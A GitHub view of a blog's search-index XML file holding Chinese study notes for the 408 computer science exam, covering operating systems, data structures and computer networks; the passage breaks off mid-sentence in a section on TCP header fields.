-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathlocal-search.xml
1013 lines (484 loc) · 359 KB
/
local-search.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<?xml version="1.0" encoding="utf-8"?>
<search>
<entry>
<title>OS</title>
<link href="/2024/10/13/408/OS/"/>
<url>/2024/10/13/408/OS/</url>
<content type="html"><![CDATA[<h1 id="第二章-进程与线程"><a href="#第二章-进程与线程" class="headerlink" title="第二章 进程与线程"></a>第二章 进程与线程</h1><h2 id="死锁"><a href="#死锁" class="headerlink" title="死锁"></a>死锁</h2><h3 id="必要条件"><a href="#必要条件" class="headerlink" title="必要条件"></a>必要条件</h3><p>互斥 进程对自己已有的资源不能与其他进程共享</p><p>不可剥夺 只能由进程自己释放自己所占用的资源</p><p>请求并保持 进程至少占有一个资源,且请求其他资源</p><p>循环等待 存在进程资源的循环等待链</p><p>出现死锁,上述条件必须同时满足</p><h2 id="管程"><a href="#管程" class="headerlink" title="管程"></a>管程</h2><p>可以实现同步与互斥</p><p>条件变量+wait/signal </p><p>wait 阻塞进程 signal 唤醒一个进程</p><h2 id="同步与互斥"><a href="#同步与互斥" class="headerlink" title="同步与互斥"></a>同步与互斥</h2><h3 id="信号量"><a href="#信号量" class="headerlink" title="信号量"></a>信号量</h3><p>此机制使用P() V() 操作访问,属于原子操作</p><h4 id="整型信号量"><a href="#整型信号量" class="headerlink" title="整型信号量"></a>整型信号量</h4><p>整型信号量表示资源数目,行为不符合让权等待,会使进程盲等</p><h4 id="记录型信号量"><a href="#记录型信号量" class="headerlink" title="记录型信号量"></a>记录型信号量</h4><p>相比于整型信号量,若资源数目不足,把申请等待的进程使用链表连接(阻塞),每次V() 判断信号量是否<=0表示有进程等待,此时唤醒一个等待的进程</p><p>此机制符合让权等待</p><h2 id="PV大题"><a href="#PV大题" class="headerlink" title="PV大题"></a>PV大题</h2><h3 id="哲学家进餐问题"><a href="#哲学家进餐问题" class="headerlink" title="哲学家进餐问题"></a>哲学家进餐问题</h3><h4 id="方法一-推荐用法"><a href="#方法一-推荐用法" class="headerlink" title="方法一(推荐用法)"></a>方法一(推荐用法)</h4><p>每次一次性申请所有资源</p><figure class="highlight abnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><code class="hljs abnf"><span class="hljs-attribute">look</span><span class="hljs-operator">=</span><span class="hljs-number">1</span><br>{<br>p(look)<span class="hljs-comment">;</span><br>申请所有资源<br>v(look)<span class="hljs-comment">;</span><br>}<br></code></pre></td></tr></table></figure><p>使用int表示资源数目</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-keyword">while</span>(<span class="hljs-number">1</span>)<span class="hljs-comment">//循环申请资源</span><br>{<br> P(look);<br> <span class="hljs-keyword">if</span>(资源数目足够)<br> {<br> 取资源<br> <span class="hljs-type">int</span> --<br> V(look);<br> <span class="hljs-keyword">break</span>;<br> }<br> V(look);<br>}<br>做事;<br>P(look);<br>归还资源;<br><span class="hljs-type">int</span> ++;<br>V(look);<br></code></pre></td></tr></table></figure><h1 id="文件管理"><a href="#文件管理" class="headerlink" title="文件管理"></a>文件管理</h1><p>内存与磁盘之间的数据交换以<strong>块</strong>为单位</p><h2 id="FAT表"><a href="#FAT表" class="headerlink" title="FAT表"></a>FAT表</h2><h2 id="文件物理结构分配"><a href="#文件物理结构分配" class="headerlink" title="文件物理结构分配"></a>文件物理结构分配</h2><h3 id="连续分配"><a href="#连续分配" class="headerlink" title="连续分配"></a>连续分配</h3><p>文件在磁盘中是连续的,目录只需记录起始盘块和长度</p><p>支持顺序访问和直接访问</p><h3 id="链接分配"><a href="#链接分配" class="headerlink" title="链接分配"></a>链接分配</h3><h4 id="隐式"><a href="#隐式" class="headerlink" title="隐式"></a>隐式</h4><p>盘块存有指向下一个块的指针,最后一个块的指针不使用,目录记录起始和终止块号</p><p>不支持随机访问</p><h4 id="显式"><a href="#显式" class="headerlink" title="显式"></a>显式</h4><p>使用FAT表</p><p><img src="/2024/10/13/408/OS/image-20241106111216906.png" alt="image-20241106111216906"></p><p>目录仅记录起始块号,FAT整个磁盘只有一张</p><h3 id="索引分配"><a href="#索引分配" class="headerlink" title="索引分配"></a>索引分配</h3><h1 id="IO"><a href="#IO" class="headerlink" title="IO"></a>IO</h1><h2 id="磁盘和固态"><a href="#磁盘和固态" class="headerlink" title="磁盘和固态"></a>磁盘和固态</h2><h3 id="磁盘调度算法"><a href="#磁盘调度算法" class="headerlink" title="磁盘调度算法"></a>磁盘调度算法</h3><p>磁盘存取时间=寻道时间+旋转延迟时间+传输时间</p><p>寻道时间=k*磁道条数+启动磁头臂时间</p><p>旋转延迟时间=1/(2*转速)</p><h1 id="单位换算"><a href="#单位换算" class="headerlink" title="单位换算"></a>单位换算</h1><p>rpm 每分钟转速</p><h1 id="缩写名词"><a href="#缩写名词" class="headerlink" title="缩写名词"></a>缩写名词</h1><p>FCB (File Control Block) 文件控制块</p>]]></content>
<categories>
<category>408</category>
</categories>
<tags>
<tag>408</tag>
</tags>
</entry>
<entry>
<title>数据结构</title>
<link href="/2024/10/13/408/%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84/"/>
<url>/2024/10/13/408/%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84/</url>
<content type="html"><![CDATA[<h1 id="栈-队列-数组"><a href="#栈-队列-数组" class="headerlink" title="栈 队列 数组"></a>栈 队列 数组</h1><h2 id="矩阵压缩"><a href="#矩阵压缩" class="headerlink" title="矩阵压缩"></a>矩阵压缩</h2><p>对称矩阵只存储上/下三角</p><p><img src="/2024/10/13/408/%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84/image-20241017162602322.png" alt="image-20241017162602322"></p><p><img src="/2024/10/13/408/%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84/image-20241017162941134.png" alt="image-20241017162941134"></p><p><img src="/2024/10/13/408/%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84/image-20241017162955998.png" alt="image-20241017162955998"></p><p>三角矩阵</p><p><img src="/2024/10/13/408/%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84/image-20241017163028864.png" alt="image-20241017163028864"></p><p><img src="/2024/10/13/408/%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84/image-20241017163038104.png" alt="image-20241017163038104"></p><p>稀疏矩阵压缩 三元组</p><p><img src="/2024/10/13/408/%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84/image-20241022200129632.png" alt="image-20241022200129632"></p><p>也可用十字链表</p><h1 id="串"><a href="#串" class="headerlink" title="串"></a>串</h1><h2 id="模式匹配"><a href="#模式匹配" class="headerlink" title="模式匹配"></a>模式匹配</h2><p>简单模式匹配</p><p>暴力匹配,如果不符合则往后移动一个字符</p><p><img src="/%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84/image-20241013233024910.png" alt="image-20241013233024910"></p><h3 id="KMP"><a href="#KMP" class="headerlink" title="KMP"></a>KMP</h3><h1 id="树"><a href="#树" class="headerlink" title="树"></a>树</h1><h2 id="树和森林的遍历"><a href="#树和森林的遍历" class="headerlink" title="树和森林的遍历"></a>树和森林的遍历</h2><h3 id="先根遍历"><a href="#先根遍历" class="headerlink" title="先根遍历"></a>先根遍历</h3><p>先访问根,再一次递归子树</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><code class="hljs c++"><span class="hljs-function"><span class="hljs-type">void</span> <span class="hljs-title">FirstVisit</span><span class="hljs-params">(node* p)</span></span><br><span class="hljs-function"></span>{<br><span class="hljs-keyword">if</span>(p!=<span class="hljs-literal">NULL</span>)<br>{<br> <span class="hljs-built_in">visit</span>(p)<br>}<br> <span class="hljs-keyword">while</span>(p还有子树)<br> {<br> <span class="hljs-built_in">FirstVisit</span>(p[i])<br> }<br>}<br></code></pre></td></tr></table></figure><h3 id="后根遍历"><a href="#后根遍历" class="headerlink" title="后根遍历"></a>后根遍历</h3><p>先递归子树,后访问根</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><code class="hljs c++"><span class="hljs-function"><span class="hljs-type">void</span> <span class="hljs-title">hougenVisit</span><span class="hljs-params">(node* p)</span></span><br><span class="hljs-function"></span>{<br> <span class="hljs-keyword">for</span>(i in p->child)<br> {<br> <span class="hljs-keyword">if</span>(i!=<span class="hljs-literal">NULL</span>) <span class="hljs-built_in">hougenVisit</span>(i);<br> }<br> <span class="hljs-built_in">visit</span>(P);<br><br>}<br></code></pre></td></tr></table></figure><p>森林的中序遍历等价于对各个树进行后跟遍历</p><h2 id="哈夫曼树和编码"><a href="#哈夫曼树和编码" class="headerlink" title="哈夫曼树和编码"></a>哈夫曼树和编码</h2><h3 id="构造哈夫曼树"><a href="#构造哈夫曼树" class="headerlink" title="构造哈夫曼树"></a>构造哈夫曼树</h3><p>选择两个最小权值结点,构造一棵树,根结点为二者权值之和,将根节点加入原集合,重复</p><p><img src="/2024/10/13/408/%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84/image-20241025152855813.png" alt="image-20241025152855813"></p><h3 id="编码"><a href="#编码" class="headerlink" title="编码"></a>编码</h3><p>将各字符的频率视为权值,构造哈夫曼树,左0右1或者左1右0编码字符。</p><h2 id="树,森林,二叉树转换"><a href="#树,森林,二叉树转换" class="headerlink" title="树,森林,二叉树转换"></a>树,森林,二叉树转换</h2><h3 id="树转二叉树"><a href="#树转二叉树" class="headerlink" title="树转二叉树"></a>树转二叉树</h3><p>左指针指向第一个孩子,右指针指向相邻右兄弟</p><p><img src="/2024/10/13/408/%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84/image-20241108231008548.png" alt="image-20241108231008548"></p><p>兄弟之间加一线,每个结点仅保留第一个孩子</p><p>结论:</p><p>根结点只有左孩子,因为它没有兄弟结点</p><h1 id="查找"><a href="#查找" class="headerlink" title="查找"></a>查找</h1><h2 id="B树和B-树"><a href="#B树和B-树" class="headerlink" title="B树和B+树"></a>B树和B+树</h2><p>B树定义:</p><p>平衡: 所有叶子结点在同一层</p><p>左<根<右</p><p>非叶子的根结点至少两棵子树,至少一个关键字</p><p>一个结点至多m棵子树 B树是多叉树</p><p>若有n个关键字,则是n+1个子树</p><p><x1,x2..xn> -> <y1,y2,..yn></p><p>yk表示子树中的值都大于xk-1,小于xk</p><p><img src="/2024/10/13/408/%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84/image-20241017171623153.png" alt="image-20241017171623153"></p><p>是拓展的二叉排序树</p><p>为了保证效率,规定除了根节点,其他非叶子结点至少有[m/2]棵子树,至少有[m/2]-1个关键字</p><p>查找</p><p>同二叉排序树,若结点中找不到,则前往子树</p><p>m阶B树每个结点至多m棵子树,至多m-1个关键字</p><h3 id="B-树"><a href="#B-树" class="headerlink" title="B+树"></a>B+树</h3><p>对比B树 非叶子结点中的关键字是子树中的最大值,也就是n个关键字对应n个子树</p><p><img src="/2024/10/13/408/%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84/image-20241017202203756.png" alt="image-20241017202203756"></p><p>非叶子的根结点至少两颗子树,其他结点至少[m/2]棵子树</p><p>且实际信息全部存储在叶子结点中,且叶子结点之间有连接,因此,通过p,可以得到单链表</p><h1 id="图"><a href="#图" class="headerlink" title="图"></a>图</h1><h2 id="图的遍历"><a href="#图的遍历" class="headerlink" title="图的遍历"></a>图的遍历</h2><h3 id="广度优先-BFS"><a href="#广度优先-BFS" class="headerlink" title="广度优先(BFS)"></a>广度优先(BFS)</h3><p>从起始点出发,依次访问未访问过的相邻结点,再访问这一组结点的未访问的相邻结点,重复,若有结点尚未被访问,从图的另一个结点开始。</p><p>形式化描述 使用队列</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><code class="hljs c">BFS (first)<br>{<br>Insert(first);<br><span class="hljs-keyword">for</span>(i in <span class="hljs-built_in">queue</span>)<span class="hljs-comment">//遍历队列</span><br>{<br>visit(<span class="hljs-built_in">queue</span>[i]); <br>arr=next(<span class="hljs-built_in">queue</span>[i]);<span class="hljs-comment">//找到所有相邻且未被访问的结点</span><br>Insert(arr);<span class="hljs-comment">//插入队列</span><br>}<br>}<br></code></pre></td></tr></table></figure><h3 id="深度优先-DFS"><a href="#深度优先-DFS" class="headerlink" title="深度优先(DFS)"></a>深度优先(DFS)</h3><p>从起始点出发,随机访问相邻且未被访问的结点,再从这个结点,随机访问相邻且未被访问的结点,如果找不到相邻未被访问的结点,且还有结点未被访问,则回退一个结点</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><code class="hljs c">DFS(first)<br>{<br> visit(first)<br> arr=next(first)<br> <span class="hljs-keyword">for</span>(i in arr)<br> {<br> DFS(arr[i]);<br> }<br>}<br></code></pre></td></tr></table></figure><h2 id="Floyd算法"><a href="#Floyd算法" class="headerlink" title="Floyd算法"></a>Floyd算法</h2><p>求各顶点之间的最短距离</p><h2 id="拓扑排序"><a href="#拓扑排序" class="headerlink" title="拓扑排序"></a>拓扑排序</h2><p>对有向无环图,<X,Y>,表示X必须先于Y</p><h2 id="最小生成树"><a href="#最小生成树" class="headerlink" title="最小生成树"></a>最小生成树</h2><h3 id="Prim算法"><a href="#Prim算法" class="headerlink" title="Prim算法"></a>Prim算法</h3><p>从某一顶点出发,选择最小的边,加入树,再从所有树结点中,找到最小的边,重复</p><p><img src="/2024/10/13/408/%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84/image-20241026191243119.png" alt="image-20241026191243119"></p><h3 id="Kruskal算法"><a href="#Kruskal算法" class="headerlink" title="Kruskal算法"></a>Kruskal算法</h3><p>选取最小的边,连接两个顶点,如果两个顶点属于同一颗树,则往下寻找min边,重复</p><p><img src="/2024/10/13/408/%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84/image-20241026191521999.png" alt="image-20241026191521999"></p><h2 id="Dijkstra-单源最短路径"><a href="#Dijkstra-单源最短路径" class="headerlink" title="Dijkstra 单源最短路径"></a>Dijkstra 单源最短路径</h2><h2 id="关键路径-AOE网"><a href="#关键路径-AOE网" class="headerlink" title="关键路径 AOE网"></a>关键路径 AOE网</h2><h1 id="排序"><a href="#排序" class="headerlink" title="排序"></a>排序</h1><h2 id="选择排序"><a href="#选择排序" class="headerlink" title="选择排序"></a>选择排序</h2><h3 id="堆排序"><a href="#堆排序" class="headerlink" title="堆排序"></a>堆排序</h3><p><strong>堆</strong>是一棵<strong>完全二叉树</strong>,满足以下性质:</p><ul><li><strong>最大堆</strong>:对于每个节点,节点的值大于或等于其子节点的值,根节点是堆中的最大值。</li><li><strong>最小堆</strong>:对于每个节点,节点的值小于或等于其子节点的值,根节点是堆中的最小值。</li></ul><h3 id="堆排序的步骤:"><a href="#堆排序的步骤:" class="headerlink" title="堆排序的步骤:"></a>堆排序的步骤:</h3><ol><li><strong>构建最大堆</strong>:<ul><li>将给定的数组<strong>调整为最大堆</strong>,即根节点是数组中最大的元素,所有子树也都满足堆的性质。</li></ul></li><li><strong>交换和调整堆</strong>:<ul><li>输出根结点,然后将数组末端移动到根结点上</li><li>然后对剩余的元素重新调整为最大堆。</li></ul></li><li><strong>重复</strong>:<ul><li>不断交换根节点与未排序部分的最后一个元素,重复调整堆,直到所有元素都排好序。</li></ul></li></ol><h3 id="建堆"><a href="#建堆" class="headerlink" title="建堆"></a>建堆</h3><h2 id="快速排序"><a href="#快速排序" class="headerlink" title="快速排序"></a>快速排序</h2><p>任选一个元素作为中枢,划分成两个部分,<X> < M < <Y>,递归在两个部分中再任选一个作为中枢</p><h2 id="插入排序"><a href="#插入排序" class="headerlink" title="插入排序"></a>插入排序</h2><h3 id="直接插入"><a href="#直接插入" class="headerlink" title="直接插入"></a>直接插入</h3><p>取乱序序列中第一个元素,查找其在有序序列的位置,插入,并后移后面的元素</p><p>时间复杂度 O(n^2)</p><h3 id="折半插入"><a href="#折半插入" class="headerlink" title="折半插入"></a>折半插入</h3><p>相比于直接插入,查找位置使用的是折半查找</p><h3 id="希尔排序"><a href="#希尔排序" class="headerlink" title="希尔排序"></a>希尔排序</h3>]]></content>
<categories>
<category>408</category>
</categories>
<tags>
<tag>408</tag>
</tags>
</entry>
<entry>
<title>计算机网络</title>
<link href="/2024/10/13/408/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/"/>
<url>/2024/10/13/408/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/</url>
<content type="html"><![CDATA[<h1 id="计算机网络体系结构"><a href="#计算机网络体系结构" class="headerlink" title="计算机网络体系结构"></a>计算机网络体系结构</h1><h2 id="OSI-TCP-IP"><a href="#OSI-TCP-IP" class="headerlink" title="OSI TCP/IP"></a>OSI TCP/IP</h2><p><img src="/2024/10/13/408/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/image-20241016225635862.png" alt="image-20241016225635862"></p><p>OSI各层的功能</p><p>数据链路层有流量控制和差错检测</p><p>传输层负责进程通信</p><p>会话层为进程之间建立连接,包括建立,管理和终止</p><p>表示出处理交换信息的方式,包括编码,压缩,加密,解密</p><h1 id="物理层"><a href="#物理层" class="headerlink" title="物理层"></a>物理层</h1><h2 id="通信基础"><a href="#通信基础" class="headerlink" title="通信基础"></a>通信基础</h2><h3 id="信道极限容量"><a href="#信道极限容量" class="headerlink" title="信道极限容量"></a>信道极限容量</h3><h4 id="奈氏准则"><a href="#奈氏准则" class="headerlink" title="奈氏准则"></a>奈氏准则</h4><p>在没有噪音的信道中</p><p><img src="/2024/10/13/408/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/image-20241017230041192.png" alt="image-20241017230041192"></p><p>W是信道频率带宽(Hz),V是码元离散电频数目</p><h4 id="香农定理"><a href="#香农定理" class="headerlink" title="香农定理"></a>香农定理</h4><p>香农定给出有限带宽下带有高斯噪声干扰的极限传输速率</p><p><img src="/2024/10/13/408/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/image-20241017230730893.png" alt="image-20241017230730893"></p><p>W为频率带宽(Hz),S是平均功率,N是噪声功率,S/N为信噪比</p><p><img src="/2024/10/13/408/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/image-20241017231005366.png" alt="image-20241017231005366"></p><p>下面公式仅做单位换算</p><p>单位是db</p><h3 id="编码与调制"><a href="#编码与调制" class="headerlink" title="编码与调制"></a>编码与调制</h3><p><img src="/2024/10/13/408/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/image-20241015170137194.png" alt="image-20241015170137194"></p><p>归零编码(RZ)</p><p>非归零编码(NRZ)</p><p>反向非归零编码(NRZI) 跳变表示0 不变表示1</p><h1 id="数据链路层"><a href="#数据链路层" class="headerlink" title="数据链路层"></a>数据链路层</h1><h2 id="流量控制和可靠传输"><a href="#流量控制和可靠传输" class="headerlink" title="流量控制和可靠传输"></a>流量控制和可靠传输</h2><p>流量控制指接收方控制发送方的发送速率</p><p>控制的是相邻结点的流量</p><h3 id="停止等待"><a href="#停止等待" class="headerlink" title="停止等待"></a>停止等待</h3><p>发送方每发一个帧都等待接受方发送确认信号</p><h3 id="滑动窗口"><a href="#滑动窗口" class="headerlink" title="滑动窗口"></a>滑动窗口</h3><p>发送方维持一组可连续发送的的序号,接收方也维持一组可连续接受的序号,称为发送/接受窗口</p><p>接收方收到非窗口的序号,则丢弃</p><p>数据链路层中的窗口大小是固定的</p><h3 id="停止等待协议-S-W"><a href="#停止等待协议-S-W" class="headerlink" title="停止等待协议(S-W)"></a>停止等待协议(S-W)</h3><p>接收方和发送方各维持一个帧的窗口</p><h3 id="后退N帧协议-GBN"><a href="#后退N帧协议-GBN" class="headerlink" title="后退N帧协议(GBN)"></a>后退N帧协议(GBN)</h3><p>发送方可直接连续发送窗口内的帧,若有一帧超时且还未收到确认,则重传这个帧及其后面的帧</p><p>接收方只按顺序接受,且可以只对接受到的最后的帧确认</p><p>若使用n位帧编号,发送窗口1<Wt<=2^n-1.接受窗口大小为1</p><h3 id="选择重传协议-SR"><a href="#选择重传协议-SR" class="headerlink" title="选择重传协议(SR)"></a>选择重传协议(SR)</h3><p>相比于GNB 只重传丢失的帧,此时接收方必须对所有接收到的帧进行确认</p><p>此时接受窗口>1</p><p>接收方接受到出错帧时,发送否定帧NAK</p><p>**Wr+Wt<=2^n** 且接受窗口<=发送窗口 => Wr<=2^(n-1)</p><h2 id="信道利用率分析"><a href="#信道利用率分析" class="headerlink" title="信道利用率分析"></a>信道利用率分析</h2><h3 id="停止-等待"><a href="#停止-等待" class="headerlink" title="停止-等待"></a>停止-等待</h3><p><img src="/2024/10/13/408/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/image-20241023171400471.png" alt="image-20241023171400471"></p><p>Td是发送延迟 Ta是确认的发送延迟 </p><h3 id="ARQ协议"><a href="#ARQ协议" class="headerlink" title="ARQ协议"></a>ARQ协议</h3><p><img src="/2024/10/13/408/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/image-20241023171559197.png" alt="image-20241023171559197"></p><h2 id="MAC"><a href="#MAC" class="headerlink" title="MAC"></a>MAC</h2><p>IEE 802标准规定了一个48位的全球地址,固化在ROM中,称为MAC地址</p><p>MAC长6字节</p><p>广播地址:全1</p><h3 id="MAC帧"><a href="#MAC帧" class="headerlink" title="MAC帧"></a>MAC帧</h3><p>MAC帧是数据链路层使用的数据传输单位</p><p>V2标准:</p><p><img src="/2024/10/13/408/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/image-20241016203242722.png" alt="image-20241016203242722"></p><p><img src="/2024/10/13/408/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/image-20241016203400411.png" alt="image-20241016203400411"></p><p>802.11标准</p><p><img src="/2024/10/13/408/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/image-20241016203601922.png" alt="image-20241016203601922"></p><h3 id="IEE-802-11局域网的MAC帧"><a href="#IEE-802-11局域网的MAC帧" class="headerlink" title="IEE 802.11局域网的MAC帧"></a>IEE 802.11局域网的MAC帧</h3><p><img src="/2024/10/13/408/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/image-20241022164535881.png" alt="image-20241022164535881"></p><p>地址三用来存放实际的源地址和实际的目标地址</p><h2 id="介质访问控制"><a href="#介质访问控制" class="headerlink" title="介质访问控制"></a>介质访问控制</h2><p>用于协调同一信道的结点之间的传输</p><h3 id="随机介质访问控制协议"><a href="#随机介质访问控制协议" class="headerlink" title="随机介质访问控制协议"></a>随机介质访问控制协议</h3><h4 id="CSMA-CD协议"><a href="#CSMA-CD协议" class="headerlink" title="CSMA/CD协议"></a>CSMA/CD协议</h4><p><strong>先听后发,边听边发,冲突停发,随机重发</strong></p><p>发送前和发送中都监听信道是否有冲突,出现冲突停止发送,等待随机时间后重新发送</p><p>2RTT为争用窗口</p><p>最短帧长=传播时延X传输速率X2</p><h1 id="网络层"><a href="#网络层" class="headerlink" title="网络层"></a>网络层</h1><h2 id="IPv4"><a href="#IPv4" class="headerlink" title="IPv4"></a>IPv4</h2><p><img src="/2024/10/13/408/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/image-20241026192844115.png" alt="image-20241026192844115"></p><h1 id="传输层"><a href="#传输层" class="headerlink" title="传输层"></a>传输层</h1><h2 id="TCP连接与释放"><a href="#TCP连接与释放" class="headerlink" title="TCP连接与释放"></a>TCP连接与释放</h2><p>TCP提供可靠,有序,全双工,端到端的传输</p><p>TCP结构</p><p><img src="/2024/10/13/408/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/image-20241018151502416.png" alt="image-20241018151502416"></p><p>序号 占4B ,TCP传输的数据按字节编号,序号指本报文段中的数据的第一个字节的序号</p><p>确认号 4B 表示希望收到对方发送的第一个字节的序号</p><p>数据偏移,即首部长度 占4bit 单位是<strong>4B</strong> 所以首部最大60B</p><p>URG 紧急位 表示报文中有紧急的数据</p><p>ACK 确认位 仅当ACK=1 确认号才有效</p><p>PSH 推送位,PSH=1时,接收方收到后立刻交付给进程,而不能留在缓存中</p><p>RST 复位位 